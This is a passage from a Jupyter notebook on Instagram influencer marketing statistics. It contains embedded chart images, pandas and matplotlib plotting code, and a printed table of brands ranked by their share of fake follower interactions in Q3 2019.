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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Instagram DataAnalysis\\ Marketing Statistics\\MS3.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats) #make dataframe\n", + "x = list(df.iloc[:, 0]) #get 0th col\n", + "y = list(df.iloc[:, 1]) #get 1st col\n", + "\n", + "plt.title(\"Top brands by influencer marketing spend in 2019, USD thousands\")\n", + "plt.ylabel(\"Influencer\")\n", + "plt.xlabel(\"USD\")\n", + "plt.scatter(y,x, color='r')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Brands with most fake follower interactions, Q3 2019" + ] + }, + { + "cell_type": "code", + "execution_count": 25, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " Brand Proportion of fake interactions\n", + "0 Febreze 54\n", + "1 Baby Einstein 51\n", + "2 Carefree Liners 51\n", + "3 Wines of Sicily 50\n", + "4 Albion Fit 48\n", + "5 Disneyland 47\n", + "6 Kroger 46\n", + "7 Ellie Activewear 46\n", + "8 Green Chef 45\n", + "9 Zappos 45\n" + ] + }, + { + "data": { + "image/png": "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